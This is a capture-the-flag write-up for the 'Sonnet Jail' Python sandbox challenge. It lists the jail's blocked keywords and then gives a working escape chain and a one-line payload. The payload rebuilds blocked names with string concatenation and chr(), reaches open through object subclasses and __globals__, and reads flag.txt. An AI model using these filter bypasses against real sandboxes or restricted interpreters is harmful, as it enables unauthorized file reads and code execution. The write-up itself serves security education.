← back to challenges

misc,CyCTF-Luxor - sonnet-jail

CyCTF-Luxormisc

Sonnet Jail - Writeup

Challenge

  • Name: Sonnet Jail
  • Category: Misc / PyJail
  • Description: “I told Sonnet create me a creative pyjail even you can’t solve, does it make the job?”
  • Goal: Read ./flag.txt

Reconnaissance

Connecting to the service presents a Python REPL with several restrictions:

>>> print(1+1)
2
>>> print(open("flag.txt").read())
[blocked] no dots
>>> print(open("flag" + chr(46) + "txt"))
[blocked] 'open' is blocked

Blocked keywords

KeywordMessage
. (dot character)no dots
open'open' is blocked
eval'eval' is blocked
exec'exec' is blocked
dir'dir' is blocked
getattr'getattr' is blocked
hasattr / setattr / delattrblocked
__builtins__blocked
__import__blocked
globalsblocked
breakpointblocked
compileblocked
inputblocked
__subclasses__blocked string
__init__blocked string
flagblocked string

Allowed builtins

print, type, chr, isinstance, vars, list, map, filter, zip, object, bytes, int, str, range, enumerate, len, tuple, set, dict, frozenset, hex, oct, ord, bin, abs, round, sorted, reversed, min, max, sum, any, all, bool, float, complex, super, staticmethod, classmethod, property, slice, memoryview, bytearray

Key Observations

  1. No dots = no attribute access via . syntax
  2. vars() is allowed = can access __dict__ of any object via vars(obj)["key"], effectively replacing getattr()
  3. String concatenation bypasses keyword filters = "__" + "init" + "__" is not caught by the filter looking for __init__
  4. chr() bypasses character/string filters = chr(102)+chr(108)+chr(97)+chr(103) produces "flag" without the literal appearing in source

Exploit Chain

Step 1 - Get object.__subclasses__() without dots or blocked strings

vars(type)["__" + "subclasses" + "__"](object)

vars(type) returns type.__dict__, from which we grab __subclasses__ (a descriptor) and call it on object.

Step 2 - Find os._wrap_close (index 142)

sc = vars(type)["__" + "subclasses" + "__"](object)
wc = sc[142]  # <class 'os._wrap_close'>

Step 3 - Traverse to __builtins__ via __init__.__globals__

init = vars(wc)["__" + "init" + "__"]

To access init.__globals__ without dots or getattr, we use object.__getattribute__ (not keyword-blocked):

ga = vars(object)["__getattribute__"]
g = ga(init, "__" + "globals" + "__")

Step 4 - Recover open from __builtins__

b = g["__" + "builtins" + "__"]
o = b["op" + "en"]

Step 5 - Read the flag

Build "flag.txt" with chr() to avoid the blocked string flag and the blocked character .:

fn = chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+"txt"  # "flag.txt"
f = o(fn)
print(ga(f, "re" + "ad")())

Final Payload (one-liner)

sc = vars(type)["__" + "subclasses" + "__"](object); wc = sc[142]; init = vars(wc)["__" + "init" + "__"]; ga = vars(object)["__getattribute__"]; g = ga(init, "__" + "globals" + "__"); b = g["__" + "builtins" + "__"]; o = b["op" + "en"]; fn = chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+"txt"; f = o(fn); print(ga(f,"re" + "ad")())

Flag

CyCTF{Xf6uHrmRdeqCv1stawLP4j376hZk9R1K0PYAqVQeRwONGIllyJ4ddCuv6e-PvmPkLunw6nCVbPha5C78kI-uOPAUqb91KtR_IK0}